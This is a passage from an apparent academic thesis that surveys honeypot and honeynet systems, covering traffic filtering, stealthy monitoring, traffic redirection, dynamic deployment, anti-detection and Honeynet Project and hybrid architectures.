The entire purpose of a honeypot system is to analyze the collected data in order to get the information of the attack. For example, through data analysis the technique of attack and the adversary's motivation could be revealed. Thus, if the data cannot be analyzed, the value of honeypot system will be reduced. However, it is not necessary to include automated data analysis module in honeypot system and not all of the honeypot systems have analysis module. In practical terms, the data analysis process, e.g. forensics or reverse-engineering, could be performed by security experts or even by automated program.

E. Stealthy Monitoring

Another general requirement is that the security programs of honeypot systems should be stealthy. In other words, the Data Control, Data Capture and Data Collection should be hidden or camouflaged to avoid the adversary to be aware of the honeypot activities. The adversary has many ways to detect if s/he is in a honeypot environment. For example, by detecting whether s/he is in an environment set up to record his activity, in which case, the adversary will erase all his tracks and break up the connection with the honeypot and then no data would be recorded.

2.2. Key Technologies for Honeypot Systems

The essential tasks of honeypot system are to capture data as much and high quality as possible for investigating malicious behavior, and meanwhile to prevent the compromised honeypots to attack other non-honeypot systems. These two tasks are the two main functionalities of honeypot system as

well. Data can be captured through honeypots being probed, attacked and compromised, which are exactly corresponding to the three phases of cyber-attack, i.e. probe, exploit and violate. Attacks always begin at probing large-scale IP networks in order to find vulnerable objectives, and then they exploit the vulnerabilities to compromise the objectives, and finally, if the compromised systems are worth further utilizing, the adversary will violate them, e.g. install rootkits, setup backdoors, and launch new attacks etc. The large-scale probing will produce high network traffic load but it will not translate into a useful system activity. Then a part of the probed systems which have vulnerabilities will be attacked, so in the exploiting phase, the scale of attacking objectives is reduced, but the quality of data is improved, i.e. attacking traffic include malicious payload. In the violating phase, only a small part of compromised systems or even several specific objectives will be involved, and the quality of data become very high because any unauthorized system data is worthy of recording for further investigation.

Figure 2. Mutual conditions between different features of honeypot system

Therefore, every phase produces a different quantity and quality of data captured by honeypots. In order to adapt to the three phases of an attack, honeypot systems need two features as well: fidelity and scalability. Fidelity represents the interaction level, and scalability denotes the monitoring scale. Different interaction levels can be applied to capture different quality of data and different monitoring scale can observe different quantity of data. For example, using LIH is enough to monitor network probing, MIH is good at detecting vulnerability exploiting, and HIH is aimed to

capture system violating. Figure 2 shows the relationships between the phases of attack and the interaction levels of honeypot as well as the mutual conditions of different features of honeypots.

On one hand, in order to approach the task of capturing high quality data, honeypots have to escalate the interaction level, however a higher interaction level will cause a higher risk of being compromised, so that the honeypots will need a more advanced security program to protect them and control the outgoing malicious traffic. On the other hand, higher interaction guarantees the fidelity but sacrifices the scalability, which means it will result in the honeypots failing to capture adequate data from large-scale IP network spaces. Therefore, it is important to seek a good balance between multiple features for honeypot in order to optimize the use of honeypot resources.

With the development of honeypot projects and honeypot research, some technologies have been proposed in order to address the challenges of honeypot resource optimization. These technologies can facilitate or even improve the functionalities of honeypot system. Although we are not able to enumerate all of these existing technologies, some key technologies will be described in the following subsections.

2.2.1. Traffic Classification and Filtering Mechanisms

One of the most important tasks of honeypot system is to capture data. However, several kinds of data, e.g. repeated data, benevolent data, etc. are meaningless for data capture in certain scenarios. Thus, data reduction is important to the efficient data capture. Traffic filtering mechanism is aimed to facilitate data reduction of honeypot systems. On the other hand, traffic filtering cannot proceed without traffic classification. Therefore, traffic classification and filtering mechanisms are very important in honeypot projects and research. In this subsection, our objective is to describe the existing traffic filtering mechanisms accompany with traffic and attack classification approaches used in honeypot systems.

First of all, the repeated data is commonly not worthy of further investigation. On one hand, the source-based filtering mechanisms are effective at reducing large repeated traffic rates into small number of manageable events. iSinks [24] uses a filtering strategy consisting of analyzing the connections established with the first N destination IPs per every source IP. In subsequent work [25], the authors have improved the filtering mechanisms taking into account, for example, the source payload, source port, source destination and source connection. Furthermore, Bailey et al. [26] improved the source-based filtering mechanism through expanding the individual darknets into multiple darknets for observing the global behavior and the source distribution. On the other hand, packet inspection based filtering mechanism is another popular approach to reduce repeated data.

IMS [27] proposed a payload signatures and caching mechanism to avoid record duplicated payload through recording the first payload packets in order to reduce disk utilization and differentiate traffic. Similarly, Bailey et al. proposed content prevalence as a filtering mechanism [28] by inspecting the first packet including new payload to divert the connection to the backends. Content prevalence analyzes the distribution of content sequences in payloads to create distributions of content, alerting when a specific piece of content becomes widely prevalent. A potential drawback of packet inspection based filtering mechanism is that it will be unable to determine if a specific connection should be redirected to the backends until after a session has been established and at least the first packet of content or payload has been received.

Secondly, another effective traffic filtering mechanism is to discard the uninteresting traffic to honeypot system. The first type of uninteresting traffic is the benevolent traffic which can be filtered by whitelist based filtering approaches. A case in point is that SweetBait [29] uses whitelist to filter the traffic matching benevolent patterns to conduct zero-day worm detection. The second type of uninteresting traffic is the well-known attacks. RolePlayer [30] can mimic both the client and the server side of an application session. It is application-independent, and can be used to replay and filter variant well-known attacks. If an attack is unknown to RolePlayer, high-interaction honeypot will be involved to handle the novel traffic. Thus, it can help a hybrid honeypot system to drop uninteresting traffic early and allow high-interaction honeypot to have more resource to spend on more interesting activities. Besides, some work such as shadow honeypot [31] uses signature-based IDS filtering the well-known attacks and then applies anomaly-based IDS reducing at the input into suspect traffic for further investigation by honeypots.

Thirdly, some traffic filtering mechanisms were made according to the types of attacks. To our best knowledge, a handful of taxonomies of network attacks, e.g. [32] [33], can provide attack classifications. But not all of them are suitable for honeypot systems. For example, Spitzner ever proposed two types of attackers to honeypot systems, i.e. script kiddies and advanced blackhats [34]. The first type focuses on targets of opportunity, and the second focuses on targets of choice. However, it is not a simple task to determine whether the attacks are from advanced blackhats aimed to targets of choice or just from a script kiddie aimed to targets of opportunity. Moreover, besides of human manual attacks, there are many automated attacks such as worm, malware, virus etc. An advanced adversary also uses automated tool for attacking as well. So, it is even a complex task to distinguish the roles behind intrusion from human manual attacks or automated attacks. Thus, it is impossible to use role-based attack classifications to honeypot systems for data reduction. In [28], Bailey et al. introduced a brief classification of attacks according to four behavioral fidelity levels:

connection attempt, response on one or more ports, application response, and host behavior. Similarly, HoneyStat [35] classified the attacks into three behavioral fidelity levels: network alerts, memory alerts (based on buffer overflow detection and process management) and disk write alerts (such as writes to registry keys and critical files). Besides, Bolzoni et al. ever proposed a system called Panacea [36] which can automatically classify attacks and make corresponding alerts. It can be used to develop an attack classification based filtering mechanism for honeypot systems.

2.2.2. System Activity Capture

Aside from network activity capture, it is also necessary to capture the system activity, especially, for high-interaction honeypots. Due to the stealthy capturing requirement, some approaches have been proposed. Sebek [37] and Qebek [38] are the monitoring tools used to capture the system activity in honeypots. Their kernel modules were developed to modify the system kernel in order to record system activity, especially keystrokes, in a hard to detect way. The main drawback of this kind of kernel module is that it must be installed inside the honeypot using an in-the-box monitoring approach to perform data capture. At present, this monitoring approach can be easily detected by the adversary.

Another monitoring method using the idea called “out-of-the-box” [40] is proposed in order to prevent the monitoring tool from being detected. Nitro [41] is designed to monitor the high-interaction honeypots from out-of-the-box, since it focus on tracking the system calls of the KVM based virtual machines. In addition, LibVMI [42] is a C library with Python bindings based virtual machine introspection which can support a variety of VMMs such as Xen, KVM, etc. It is easy to monitor the low-level details of a running virtual honeypot by viewing its memory trapping on hardware events and accessing the vCPU registers. For instance, VMI-Honeymon [49] uses a Volatility extension to call the API of the Xen Access successor LibVMI to access the memory of the guest VM for forensic analysis.

2.2.3. Outgoing Attack Control

Outgoing attack control is another essential task of a honeypot system (included in the data control functionality) in order to prevent the adversary from attacking non-honeypot systems through compromised honeypots. Generally, there are two ways to facilitate this task: containment and redirection.

Honeywall [86] is a typical containment device that limits the number of outgoing connections. However, the containment approach can arouse the advanced attackers’ suspicion. In order to reduce

the risk of being detected, the redirection approaches do not limit the number of outgoing connections but redirect them back into other corresponding honeypots as Figure 3 shows.

Figure 3. Outgoing traffic redirection

In [50], a system implementing such outgoing connection redirection mechanism is presented, following this idea through modifying the Linux system kernel. However, the outgoing traffic redirection has drawback as well, because it uses the “in-the-box” idea, some advanced adversaries can detect the redirection module through some reasonable effort.

2.2.4. *Traffic Redirection*

Hybrid solutions are aimed to address the contradiction between fidelity and scalability through providing large-scale deployed frontends to capture data and centralized backends to guarantee high interaction. The traffic redirection technologies are designed to bridge the gap between the frontends and backends, i.e. redirecting traffic from frontends to backends. The hybrid systems will be described in the next section, here we just focus on the traffic redirection technologies: TCP connection handoff and GRE tunnel.

A. Traffic Redirection by TCP Connection Handoff

The hybrid systems consist of LIHs as frontends and HIIHs as backends. When an interesting connection is established between the attacker and one of the LIHs, a TCP connection handoff mechanism is needed to redirect the connection from the LIH to a HIIH for further investigation. TCP connection handoff is a technique to transfer one TCP socket endpoint from one node to another node seamlessly. It consists of transferring the established TCP state from the original node to the new node, so that the new node can send/receive packets to/from the other TCP endpoint directly.

Bailey et al. [28] uses connection handoff mechanism for traffic redirection. In order to avoid saving state for every connection, the connection handoff mechanism makes decision based on the first payload packet of each connection. However, the author didn’t reveal the technical detail about

the connection handoff. To our best knowledge, connection handoff or mobility always needs TCP connection replay between the TCP proxy and the target host. Most failover systems using the TCP proxy take over TCP connection to the backup server when the original server breaks down [51] [52] [53]. Although there are a number of ready-made TCP proxies [54] [55], they cannot manipulate or analyze the packets but only redirect them.

Similarly, Honeybrid gateway [56] uses the connection replay to implement traffic transparent redirection between low-interaction honeypots and high-interaction honeypots. Nevertheless, Honeybrid revealed the technical detail of the gateway, which is a TCP replay proxy using `libnetfilter_queue` [57] to process packets. Thus, security researchers can gain more insight into connection handoff mechanism from it.

In practical terms, TCP replay is the essential technology of TCP proxy. The connection handoff mechanism based on TCP replay is able to provide stealthy redirection for automated malwares. Lin et al. [58] proposed a secure and transparent network environment that can allow the automated malwares to attack or propagate but under stealthy control. The dispatcher also applies Netfilter based TCP replay to perform traffic dispatching from victim to decoy. Although the TCP/IP stateful traffic replay can facilitate transparent TCP connection handoff, it cannot solve the identical-fingerprint problem, which means the LIH and HIH do not have the same fingerprint.

Recently, some work proposed solutions to address the identical-fingerprint problem in hybrid honeypot systems. For example, Lengyel et al. proposed a hybrid honeynets architecture namely VMI-Honeymon [59], which provided a novel solution to clone-routing problem. It is a challenge to create network connectivity to identical high-interaction honeypots clones without internal in-guest network reconfiguration. Because the network interface in each clone will also remain identical, sharing the same MAC and IP address of the original VM. It will cause MAC and IP collision if the clones are placed on the same network bridge. But in-guest network reconfiguration would inadvertently lead to changing the initial memory state of high-interaction honeypot. Thus, this solution retains the MAC and IP address of the original VM for each clone, and each clone is placed upon a separate network bridge which is attached to the VM running Honeybrid gateway to provide isolation for the MAC of the clone and avoid a collision. Therefore, this solution indirectly addresses the identical-fingerprint problem.

B. Traffic Redirection by GRE Tunnel

GRE Tunnels are used when the frontends are redirection devices placed in a different location than the honeyfarm and they have assigned a portion of routed IP address space, such as network

telescopes, darknet, and blackholes. Some hybrid systems [60] [61] uses GRE tunnel to connect the frontends and the backends. Due to the fact that frontends do not have interaction capabilities, the traffic is either redirected to the honeyfarm or discarded. However, by using GRE tunnel the backends seem to be directly deployed in the production network, so this type of hybrid systems have no identical-fingerprint problem.

C. Traffic Redirection by SDN

Software defined networking (SDN) technologies propose to separate the function that determines the direction of traffic (control plane) from the underlying one that forwards the traffic to the selected destination (data plane), which in traditional network nodes are located in the same system. Hence, the capability of flow control is the innate advantage of SDN. The programmable SDN based network can allow the system administrator to dynamically configure the data plane according to the requirements. For example, Binder et al. [62] proposed an SDN based method of TCP connection handover used in the Content Delivery Networks for delivering the requests into corresponding servers.

At present, the SDN technology has been widely used in the research field of network security in distributed systems [63][64]. The NICE system [65] is indeed an intrusion response system (IRS), because it includes a number of attack countermeasures. It sufficiently makes use of the network data and applies the scenario attack graph (SAG) as well as the network intrusion detection system (NIDS, i.e. Snort [66]) to analyze the network activity in order to detect the suspicious VMs and even the compromised ones. Because it focuses on detecting the zombies or botnets for preventing DDoS attacks, the attack countermeasures mainly consisting of network reconfiguration, packet manipulation, and simple traffic containment, which can be facilitated by SDN breezily. The fact that the NICE does not use honeypots but the production VMs makes it is hard to detect the anomaly-based attacks, i.e. zero-day attacks. Thus, it is unable to reduce the negative false alarm. Therefore, the NICE is powerful to confine the spread of the well-known signature-based attacks among production systems, while it is limited to investigate the anomaly-based attacks.

2.2.5. Dynamic Configuration

Configuration is a big challenge for most security technologies as well as honeypot. Static honeypot system lacks of the capability to reconfigure the decoy in time. It is a critical disadvantage in the complex and dynamic network scenario where the honeypots are deployed. In this thesis, we define dynamic configuration capability as timely adaptability which therefore is an important feature for honeypot system due to its advantage compared to static honeypot. Thus, dynamic

honeypot system is designed to timely adapt decoy's state to specific events, which could be intrusion events, state variation of objective targets, etc. The goal of dynamic honeypot is to improve the response to specific events in real time. It is a challenge to create dynamic honeypots, however a number of dynamic honeypot systems have been proposed and implemented. We describe them in the next subsections distinguishing between production and research applications.

A. Dynamic Production Honeypots

In order to emulate the real production targets, the dynamic production honeypots should almost synchronously mirror the objective organization networks including network topology, operating system fingerprint, services, open ports, etc. A dynamic production honeypot system is designed to rapidly revolutionize the configuration and deployment by monitoring and learning the objective organization networks in real time.

Thus, running a dynamic production honeypot has two phases. The first phase is called network discovery which is used to collect the information of objective network. The second phase is called honeypot deployment which refers to deploy honeypots emulating the target systems. In order to emulate the objective network in real time, these two phases have to cycle periodically.

In July 2004, Kuwatly et al. proposed a dynamic honeypot design for intrusion detection [68]. This design for a dynamic honeypot system consists of a combination of high and low interaction honeypots, and relies on both the passive fingerprinting and active probing to get information of the organization networks for emulation. In the network discovery phase, the author used the passive fingerprinting tool p0f [69] to sniff the traffic, determining active systems and open ports. This sort of information is recorded in a database, then in the honeypot deployment phase, low-interaction honeypots are created periodically by Honeyd [71] to represent the production machines, and it also used physical honeypot to receive the redirected traffic from LIHs. In order to avoid the deployment of a large number of high-interaction honeypots in each network segment, the author designed a central honeypot farm. However, the capability of dynamic deployment for high-interaction honeypots was not mentioned in this proposal.

Instead of using a passive fingerprinting tool, Hecker et al. proposed another method [72] by 2006 using active probing tool Nmap [73] in the network discovery phase, which results in the honeypots would simulate all open ports on the objective system, even if there is no production traffic to those ports during the scanning process. In the honeypot deployment phase, this design only applies Honeyd as the low-interaction honeypot to mimic the production system. Nevertheless, in order to provide a more in-depth emulation of the service of the scanned system, a small MySQL

database was used to store the available scripts including which services they emulated and for what operating system they were appropriate. Not including HIHs is the shortcoming of this approach, thus the system could only capture network activity.

The most recent proposal is a new automated honeynet deployment for dynamic network environment [74]. The authors advocated using honeypot as a representative system to collect interesting traffic for forensic analysis. Thus, they developed a dynamic honeynet system that is capable to dynamically configure a representative honeynet involves the combination of both passive and active scanning for network discovery. They considered the scanning noise as the factor for the representative accuracy. The experimental results demonstrated the different scanning noise level lead to different time-consuming and representative accuracy. This proposal focuses on the deployment strategies of dynamic honeynet by applying the strategies to low-interaction honeypot solution, i.e. Honeyd, but didn't consider the high-interaction honeypots dynamic deployment.

B. Dynamic Research Honeypots

Dynamic research honeypots are used to study intrusion events through generating response and interactive behavior to the malicious activity, such as creating catering honeypots to certain attacks, gradually escalating interaction level for malicious data capture, redeploying the honeypots when, for example, a little attack activity is detected. A dynamic research honeypot follows the idea of creating and deploying the honeypots on demand timely to increase data capture efficiency through monitoring intrusion events.

For example, BAIT-TRAP [75] presents a catering honeypot framework, which creates honeypot on demand based on the intrusion prediction. It only creates the honeypot that conforms to the observed intrusion. Similarly, Potemkin [61] uses dynamically created high-interaction honeypots on physical servers to achieve efficient resources usage. It employs a network gateway, to which routers all over the Internet are configured to tunnel an address prefix, as an agent to take responsibility of sending traffic to a honeyfarm server. The gateway instructs VMM (virtual machine monitor) that runs on each physical server to create a new high-interaction honeypot on demand for each active destination IP address. Otherwise, if one high-interaction honeypot is idle, the VMM will destroy it and reclaim the resources when being instructed by the gateway.

Haifeng Wang and Qingkui Chen [76] proposed several algorithms for deploying dynamic honeynet. They considered that the inducing degree of a honeynet is according to the incoming traffic. If there is little attack to a honeypot, the value of honeypot also disappears. The decreasing

quantity of the incoming traffic indicates that the honeynet has been detected by the attackers. So, when the inducing degree is less than a specific threshold, the honeynet should be redeployed.

In 2012, another paper [77] proposed a way to have a dynamic honeypot system that works as follows: it detects potential attacks in the initial phase and delays these attacks until a new high-interaction virtual honeypot is cloned from the virtual machine that is under attack. Then, the newly created virtual machine based honeypot runs the same software in exactly the same configuration to investigate the attack.

Besides, some dynamic research honeypot systems can analyze and predict the intrusive behavior through updating the system parameters and increasing the interaction level. For instance, in the paper [78], the game theory was used to predict the potential interaction of attack. Meanwhile, it provides according interaction to the attack in order to achieve the best trade-off between attacker's freedom and honeypot restrictions. Another proposal [79], however, applied Hidden Markov Model to analyze the intrusive behavior through timely updating the parameters of honeypot systems.

2.2.6. *Anti-detecting Technology*

The amount of information we can learn depends on how realistic the honeypots are. It seems like bait waiting for fish to bite. Adversaries are not fish like animals, but they are the creative blackhats who have many approaches to detect if the "bait" is safe to bite. For example, a fake release of the well-known *Phrack* magazine contained several articles on honeypot detection [80] [81]. In these articles, the author introduced several ways to fingerprint honeypots, either locally or remotely. Provos described a number of virtual honeypot detecting technologies in his book as well. Krawetz [82] also mentioned some honeypot-detection methods and introduced three basic approaches for attacking a honeypot: compromising, poisoning and studying. With the appearance of anti-honeypot technologies and honeypot-detection systems, the honeymoon with honeypot is over and the technical battle between security community and blackhat community has begun.

Current honeypot technology, and especially, the anti-detecting technologies for honeypot system, must evolve timely because attackers are constantly improving their skills. Thus, the anti-detecting technologies are very important to prevent the honeypot system from being detected. We have already mentioned some of them. Some key technologies described before can be considered as anti-detecting technologies as well. It is impossible to enumerate all of them, so we just describe some of the key ones which are more related to our work. We will propose some dimensions of consideration for presenting anti-detecting technologies in the next subsections.

A. Decoy vs. Security Program

Honeypot system has two essential components, decoy and security program. In order to avoid detecting, honeypot system should disguise the decoy as real system and hide the security program. Thus, from this aspect the anti-detecting technologies can be described by two ways as follows.

On one hand, if a honeypot is designed to resemble a valid system, but its function is limited comparing to the fully functional system, then this distinction of fidelity can be used to detect the honeypot. For example, LIHs restrict the interaction between the attacker and the honeypot to a relatively low degree, such as TCP/IP stack, which effectively limits the scope of the attacker's actions and minimizes the risk of being compromised, but it leaves the opportunity allowing the attacker to distinguish the honeypot from production system. Therefore, for limited-functional honeypots the anti-detecting technology will focus on camouflaging the fact that the decoy is a honeypot. For example, due to the link latency of Honeyd based decoy can be used to detect the fact that the decoy is a honeypot, so the system [83] improved the Honeyd through reducing the link latency in order to camouflage the Honeyd based decoy.

On the other hand, if a honeypot, i.e. HIH, has fully functional system, the attacker cannot easily distinguish its decoy from the production system. However, a fully functional honeypot exposes the whole system to an attacker, and even the operating system could be under the full control of the attacker. Thus, it must have security program to reduce the risk, but the security program is a sensitive component, which can be detected by the attacker. Therefore, the fully functional honeypots should keep the security program stealthy. For instance, the “out-of-the-box” technology [40] is just aimed to keep the system data capture stealthy and prevent the virtual honeypot from being detected by the skilled adversaries.

B. Proactive vs. Reactive

The anti-detecting technologies can also be classified into proactive approaches and reactive approaches. The proactive approach focuses on setting some mechanisms to blind attackers in advance as well as preventing the honeypots from being detected, while the reactive approach is aimed to remedy the effects of the honeypot detection by the attacker, in order to maintain the captured data and allow further investigations on it.

The “out-of-the-box” approach is a proactive technology since it is designed to hide the system data capture functionality in advance. The outgoing attack redirection is proactive as well, because it can transparently redirect the attack back to another honeypot. The connection handoff mechanism

used in hybrid honeypot systems is also proactive, because it can redirect the interesting traffic to the HIH for further investigation.

On the contrary, the reactive approach is designed to minimize the effects of a detected honeypot. The dynamic honeypot algorithm [76] is used to redeploy the decoys when the incoming traffic to them is decreasing. Besides, Krawetz [82] mentioned that the adversaries can poison the detected honeypot in order to set obstacle to data capture and they can even install some rootkits in the compromised system for study. Grizzard et al. proposed some methods [84] [85] to repair the detected and compromised system and re-establish trust in honeypot.

2.3. Honeypot System Architectures

Honeypot system architectures are designed to facilitate the functionalities and key technologies. So with the development of various key technologies, the honeypot system architectures were improved a lot as well.

2.3.1. *Honeynet Architectures*

Honeynet is generally defined as a set of honeypots following a certain network topology in this thesis. The traditional honeynet architecture was proposed by the Honeynet Project [18]. In this subsection the physical honeynet architectures are described firstly and the virtual honeynet architectures are presented secondly.

A. Physical Honeynet Architectures

The physical honeynet architecture proposed by the Honeynet Project has evolved across 3 generations, which are summarized as the following contents.

i) Generation I

Gen I Honeynet was developed in 1999 by the Honeynet Project. Figure 4 shows a graphical representation of Generation I Honeynet architecture.

Figure 4. Gen I honeynet architecture

As can be seen, a firewall separates the network into three different parts: Internet, Honeynet and Administrative Network. This architecture is made up of several components, which are used to facilitate the main functionalities.

The firewall keeps the track of any connection that has been made between the honeynet and the Internet. The firewall can block the outbound connections once a defined limit has been reached for the goal of Data Control. On the other hand, the firewall also logs all connections to and from the honeynet for the goal of Data Capture.

The router is located between the firewall and the honeynet. It hides the firewall from the attacker and provides the attacker a more realistic network with a production router in order to keep the attacker from becoming suspicious. Besides, the router also works for Data Control, for example, it only allows packets that have the source IP address of the honeynet to leave in order to protect against attacks such as spoofing, DoS, and ICMP based attacks.

The IDS connects to the honeynet via a physical switch. The IDS can record all network activity for the goal of Data Capture through using a “port monitoring” port. In Gen I Honeynet architecture, the IDS is signature based. When a packet matches a signature, an alert with detailed information about the connection will be provided by the IDS though any traffic on a honeynet is considered suspicious.

Finally, the attacker reaches the honeynet. The honeypots capture all system activity and the remote log server can provide the centralized Data Collection. If an advanced attacker detects the syslog and even compromises the remote log server, we still have the IDS that act as a backup remote log system.

There are several limitations of Gen I Honeynet. First of all, if the limit of outbound connections is reached and all of the attacker's outbound activity is blocked, the attacker will suspect he is in a honeynet environment. Secondly, the data such as keystroke and user activity are captured at the network level. IDS such as Snort can capture protocols such as FTP, Telnet or HTTP, which are plaintext. However, the attacker can use encryption technology such as protocol SSH to transfer the data. Thus, it will be failed if we monitor the attacker's connection to capture keystroke and user activity. Last but not least, the deployment is also limited, the Gen I Honeynet must be deployed on an isolated network otherwise the non-honeynet systems will be dangerous.

ii) Generation II

In 2001, The Honeynet Project released a Honeywall [86], called eeyore [87], which allowed for Gen II Honeynet architecture [88] and improved both Data Capture and Data Control capabilities over Gen I Honeynet architecture. Figure 5 illustrates the Generation II Honeynet architecture.

Figure 5. Gen II honeynet architecture

Honeywall is a firewall working as a layer 2 bridging device with three interfaces. Two of them (eth0 and eth1) are used to segregate the honeypots traffic from the production network. They are bridged interfaces with no IP stack. The third interface (eth2, which is optional) has an IP stack and is used for remote administration. The Honeywall combines the functionality of both the IDS and the firewall in a single system, which can perform attack control and network activity logging. The deployment of Gen II Honeynet is much easier than Gen I Honeynet. There are several advantages of using the Honeywall.

Firstly, the Honeywall was implemented as a transparent bridge to the attacker, which means the device is invisible to anyone interacting with the honeypots. Any traffic going to or from the honeypots must go through the Honeywall but there is no routing of packets, no TTL decrement of system hops, thus the Honeywall is hard to detect.

Secondly, instead of relying on a layer-three firewall that applies Data Control based on IP headers. Gen II honeynet applies a technology called IDS gateway, which not only block connections based on service, but also has the intelligence to distinguish between an attack and legitimate activity.

Thirdly, depending on the advantage of the layer 2 interfaces, the honeynet deployment can be part of a production network instead of being on an isolated network. Although in reality all the systems including honeypots and production systems are part of the same network, the Honeywall divides the honeynet from the production network at layer two, as opposed to layer three.

In addition, for the purpose of Data Capture of system activity, Sebek [37] kernel modules were developed to modify the system kernel in order to record system activity, especially keystrokes, in a hard to detect way.

The honeywall is also used for Data Collection. If there are several Gen II honeynets deployed in a distributed environment, the data can be encrypted by some technology such as IPsec tunnels to a central point by the third interface of the honeywall and then all distributed honeynets are managed.

However, Gen II Honeynet architecture still has several limitations: Sebek and eeyore are no longer maintained and Sebek can currently be detected easily.

iii) Generation III

In the summer of 2005, Honeynet Project released a new Honeywall namely roo [89], which enables Gen III Honeynet architecture. Indeed, Gen III has no architectural difference from Gen II, but the roo improved the data model over eeyore.

Firstly, Roo improved Data Capture capability by introducing a new hflow database schema and pcap-api for manipulating packet captures. Secondly, it improved data analysis capability by introducing a new web based analysis tool called walleye. And thirdly, it improved installation, operation, customization and the user interface.

However, the Gen III Honeynet architecture still has some limitations. The problem of system activity capture is still unresolved. The honeynet deploying on physical machine is difficult for dynamic configuration.

B. Virtual Honeynet Architectures

As stated, a virtual honeynet is a solution that allows running multiple honeypots simultaneously over a single physical machine by using virtualization software. Virtual honeynets can be broken into two categories, Self-contained and Multi-system virtual honeynet [90]. Both of them can include multiple physical machines to deploy virtual decoys, but they are mainly different in whether the decoys and the data capture and control facilities are implemented in the same physical machines.

i) Self-contained

A self-contained virtual honeynet is an entire honeynet deployed over a single computer. Figure 6 presents an overview of self-contained virtual honeynet architecture.

Figure 6. Self-contained virtual honeynet

The physical machine running the host operating system includes the whole honeynet architecture that consists of data control and data capture tools and the virtual honeypots running separately different guest operating systems. Thus, this virtual honeynet architecture is very portable and cost effective. Another advantage is the convenience of Data Collection because it is not necessary to use encrypted tunnel to collect data but we can use some system technology to log the data on the virtual honeypots.

However, the main drawback of this virtual architecture is that since all the services run on one physical machine, if that machine fails or it is compromised then the whole honeynet will break down. Furthermore, service performance is another problem. If the hardware and the virtual software provide a limited service performance, the attacker may easily detect the virtual honeynet environment.

ii) Multi-system

A multi-system (or Hybrid in some earlier articles) virtual honeynet is a combination of the data control and data capture implemented in physically separate machine and the virtual honeypots running on another computer as Figure 7 shows.

Figure 7. Multi-system virtual honeynet

This isolation of the data control and data capture can reduce the risk of honeynet compromise. Thus, this virtual honeynet architecture is much more robust than the self-contained virtual honeynet architecture. Moreover, this virtual honeynet architecture can get a better service performance profit from the physically separate deployment.

Nevertheless, the multi-system virtual honeynet architecture still has several shortcomings. Firstly, this virtual honeynet architecture is not as portable as the self-contained virtual honeynet architecture because there are at least two machines. Secondly, due to the physically separate deployment the cost is not as efficient as the self-contained virtual honeynet architecture.

2.3.2. Hybrid System Architectures

Commonly, any type of hybrid system consists of three components: frontends, traffic controller and backends. These three components facilitate a number of key functions as Figure 8 shows.

Figure 8. Functions in hybrid system

The backends can be HIH or honeyfarm, the frontends can be LIHs (or MIHs) or devices (i.e. sensors, redirectors, etc.) assigned with a portion of routed IP address space, and the traffic controller can be Honeywall or Honeybrid gateway or even other containment devices. Through facilitating these functions, a hybrid system can meet four technical requirements: fidelity, scalability, containment and performance. In this thesis, we classify the hybrid systems into several groups according to the architectures which will be described in the next subsections.

A. Type I

This class of hybrid systems redirects all traffic from frontends to backends and applies a filter located between them in order to discard the uninteresting traffic as Figure 9 shows.

Figure 9. An overview of hybrid system type I

In this type, the frontends are distributed devices assigned with a portion of routed IP address space without any interaction capability. Thus, the interesting traffic coming into the backends will first flow through the frontends. This architecture often consists of distributed frontends and

centralized backends (honeyfarm). It is always used to detect and research the unknown attacks on the rise.

Events that happen on all networks might represent large scale malicious activities, e.g. scanning attempts. However, events that are observed only on one single network can indicate a targeted intrusion. Thus, it is important to capture traffic from more than one network simultaneously. Collapsar [60] is designed to improve the coverage of honeypots by processing traffic from a large number of IP addresses. It installs traffic redirectors on different production networks. Redirectors tunnel a subset of IP addresses to the honeyfarm. The traffic controller extracts the original traffic, and forwards it to the HIHs running on virtual machines. On the reverse path, the traffic controller also takes the responsibility of monitoring outgoing attacks. The HIHs can be fully compromised by adversaries. Collapsar records the activities of intruders, limits the outgoing TCP-SYN packets and detects anomalies such as new attacks. Thus, this hybrid system achieves a good result of scalability and performance.

Although large scale deployment of virtual honeypots has many advantages, resource efficiency is another issue must be considered when high-interaction virtual honeypots are created on a physical machine. If a high-interaction virtual honeypot has vulnerability but no one exploits it, the high-interaction virtual honeypot will waste CPU and memory resources of the host. Potemkin [61] uses dynamic created high-interaction honeypots on physical servers to achieve efficient resources usage. First of all, it shares similar ideas with Collapsar to provide high-interaction honeypots to very large address spaces. It relies on routing the IP address space back to the HIHs through GRE tunnel. Thus, it seems to deploy high-interaction honeypots in distributed areas. Secondly, it employs a network gateway, to which routers all over the Internet are configured to tunnel an address prefix, as an agent to take responsibility to send traffic to a honeyfarm server. The gateway instructs VMM (virtual machine monitor) that runs on each physical server to create a new high-interaction honeypot on demand for each active destination IP address. The VMM is responsible for managing high-interaction honeypots. Thus, if one high-interaction honeypot is idle, the VMM will destroy it and reclaim the resources when instructed by the gateway. Besides, Potemkin also achieves internal reflection to contain outgoing attack via redirecting the traffic to a new created virtual honeypot. Therefore, Potemkin realizes scalability, fidelity and containment simultaneously.

In 2006, a hybrid honeypot framework was proposed for improving intrusion detection systems to protect local production networks [91]. It includes three main components, namely the Honeywall, the honeyds, and the honeynet that consists of physical honeypots. It is different from the previous proposals due to the mechanism of honeypots deployment. The honeynet that is established behind the

honeywall receives traffic from the Honeyd's proxy. However, the honeyds aren't mined arbitrarily on production network. Firstly, the framework uses fingerprinting tool (i.e., Nmap [73]) to correct the information, e.g., the total number of production systems, the number of production system that are running a particular operating system (ith OS in a list), etc. Secondly, the framework allows the honeyds to emulate the existing production systems maintaining the ratio of operating systems that are installed among production systems and having the IP addresses assigned from the pool of the free addresses. This setup permits for recording and analyzing the intruder's activity and using the results to take reactions toward protecting the network.

Another case in point is SGNET [92]. It employs the strengths of the ScriptGen technology [93] [94] and combines them with existing high-interaction honeypot solution, namely Argos [95] and low-interaction honeypot solution called Nepenthes [99]. SGNET is designed to be responsible for creation of large botnets and the propagation mechanisms of a large number of different malwares. Its sensors can achieve worldwide development due to the small resource requirement of the ScriptGen approach. Sample factories and shellcode handlers are deployed in a central farm. Sample factor provides samples of network interaction to refine the knowledge of the exploit phase, while shellcode handler is used to deal with the code injection attack handler. A SGNET gateway receives service requests from sensors and dispatches them to a free sample factory or shellcode handler. The gateway also employs a simple round robin scheduling policy to implement load balance among SGNET entities.

B. Type II

This type of hybrid honeypot systems has the same system architecture as Type I, however, it uses frontends that have some interaction capability and even can filter uninteresting traffic. Therefore, the traffic controller does not need to provide traffic filtering functions while only need to implement traffic containment function such as Figure 10 shows.

Figure 10. An overview of hybrid system type II

